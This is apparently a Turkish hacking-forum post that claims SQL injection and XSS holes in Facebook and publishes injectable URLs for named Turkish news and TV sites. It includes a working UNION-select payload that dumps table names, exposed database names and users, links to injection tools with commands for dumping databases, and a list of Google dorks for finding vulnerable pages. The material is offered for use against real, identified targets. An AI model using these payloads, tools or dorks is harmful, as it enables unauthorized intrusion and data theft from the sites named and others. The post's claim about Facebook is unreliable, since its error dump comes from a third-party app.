Facebook.Com MySql Açığı Olan Sayfalar ..

Ben Bu Facebook.Com’a Feci Şekilde takmiş Bulunmaktayım Arkadaşlar … İlk Veritabanına Girdim Sonra Anasayfasında Xss Buldum . Şimdide Facebook un bütün dosyalarındaki Mysql Açıklarını Sizlerle Yaplaşıyorum … Tepe Tepe Kullanın XD…

Warning: mysql_connect() [function.mysql-connect]: Can't create a new thread (errno 35); if you are not out of available memory, you can consult the manual for a possible OS-dependent bug in /home/bankbust/public_html/facebook/init.php on line 11

Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in /home/bankbust/public_html/facebook/init.php on line 12

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/bankbust/public_html/facebook/header.php on line 45

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/header.php on line 47

Play the GameGet More Bust AttemptsUpgradesYour TeamInviteGame Instructions and FAQ

Warning: mysql_query() [function.mysql-query]: Access denied for user 'nobody'@'localhost' (using password: NO) in /home/bankbust/public_html/facebook/getuser.php on line 7

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/bankbust/public_html/facebook/getuser.php on line 7

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 8

Warning: mysql_query() [function.mysql-query]: Access denied for user 'nobody'@'localhost' (using password: NO) in /home/bankbust/public_html/facebook/getuser.php on line 23

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/bankbust/public_html/facebook/getuser.php on line 23

Warning: mysql_query() [function.mysql-query]: Access denied for user 'nobody'@'localhost' (using password: NO) in /home/bankbust/public_html/facebook/getuser.php on line 25

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/bankbust/public_html/facebook/getuser.php on line 25

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 25

Warning: mysql_query() [function.mysql-query]: Access denied for user 'nobody'@'localhost' (using password: NO) in /home/bankbust/public_html/facebook/getuser.php on line 34

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/bankbust/public_html/facebook/getuser.php on line 34

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 37

Warning: mysql_query() [function.mysql-query]: Access denied for user 'nobody'@'localhost' (using password: NO) in /home/bankbust/public_html/facebook/getuser.php on line 96

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/bankbust/public_html/facebook/getuser.php on line 96

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 96

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/bankbust/public_html/facebook/getuser.php on line 113

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 113

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/bankbust/public_html/facebook/getuser.php on line 118

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 118

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/bankbust/public_html/facebook/getuser.php on line 124

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 124

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/bankbust/public_html/facebook/getuser.php on line 126

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/bankbust/public_html/facebook/getuser.php on line 126

Kanal7.Com.Tr SQL Açığı

Türkiyenin Ünlü Kanallarindan Kanal7.Com.Tr nin Veritabani Bilgileri Ve Tabla – Kolon Adlari .

Site : http://www.kanal7.com.tr

Açık : http://www.kanal7.com.tr/duyuruDetay.php?id=9

SQL Code : http://www.kanal7.com.tr/duyuruDetay.php?id=9%20and%201=2%20
union%20select%201,group_concat(table_name),unhex(hex(group_concat(table_name))),4,
group_concat(table_name),6+from+information_schema.tables–

Database : mepa@localhost

Database User : kanal7

Bunlari Vermekten Çekinmiyorum Çünki Sitenin Admin Paneli Yok Frontpage girisi var ama oda domain panelinden giriliyo sifreler orda

Radikal.Com.Tr MySql Açiği

Site : http://www.radikal.com.tr/

Açik : http://www.radikal.com.tr/yazar_arsiv.php?yazarno=55

Tamamlanamaiş Columplar : Tıklayın !

Bling SQL Anlatim [ Videolu ]

Bu Videpda Sizlere Bling SQL i Facebook‘un Databese Bilgilerini Okuyarak Gostermeye Çalistim Arkadaslar . Acık O Kadar Mühim Bir Acik Değil Ama Bling slq i Anlatmak İçin Gayet iyi Bir arac Oldu Benim İçin

Video : http://spaxempires.com/blog/Sakla/facebook.rar

Exploit :

1 : colfinder.py ( MySql inj. Columns Sayar ) : http://www.spaxempires.com/python/col.py

2 : schemafuzz.py ( Table & Column Fuzzer ) : http://www.spaxempires.com/python/sch.py

MS-DOC Komutları :

–dbs = dataları çeker

–schema -D ”data adı” = datadaki tablo cloumn ları alır

–dump -u -D ”data adı” -T ”tablo adı ” -C ”coloumn adı”

ilede tüm verileri çekeriz hemen çekelim bakalım

–dump -u hedef site.com -D ”data” -T ”tablo” -C ”coloumn”

python.exe ./col.py ” “

python.exe ./sch.py -u ” ” –dbs

python.exe ./sch.py -u “Site.com/sayfa.php?id=-1+union+select+0,darkc0de,2,..—” –schema -D “data_base”

python.exe ./sch.py –dump -u ” ” -D “darabase” -T “table” -C “colump”

Bling SQL Dork :

inurl:”id=” & intext:”Warning: mysql_fetch_assoc()

inurl:”id=” & intext:”Warning: mysql_fetch_array()

inurl:”id=” & intext:”Warning: mysql_num_rows()

inurl:”id=” & intext:”Warning: session_start()

inurl:”id=” & intext:”Warning: getimagesize()

inurl:”id=” & intext:”Warning: is_writable()

inurl:”id=” & intext:”Warning: getimagesize()

inurl:”id=” & intext:”Warning: Unknown()

inurl:”id=” & intext:”Warning: session_start()

inurl:”id=” & intext:”Warning: mysql_result()

inurl:”id=” & intext:”Warning: pg_exec()

inurl:”id=” & intext:”Warning: mysql_result()

inurl:”id=” & intext:”Warning: mysql_num_rows()

inurl:”id=” & intext:”Warning: mysql_query()

inurl:”id=” & intext:”Warning: array_merge()

inurl:”id=” & intext:”Warning: preg_match()

inurl:”id=” & intext:”Warning: ilesize()

inurl:”id=” & intext:”Warning: filesize()

inurl:”id=” & intext:”Warning: require()

Not : Dorklar Ve Exploitler İçin Prens Kardesime Tesekkür Ediyorum Anlatimi Ve Exploiti Ona Borcluyum .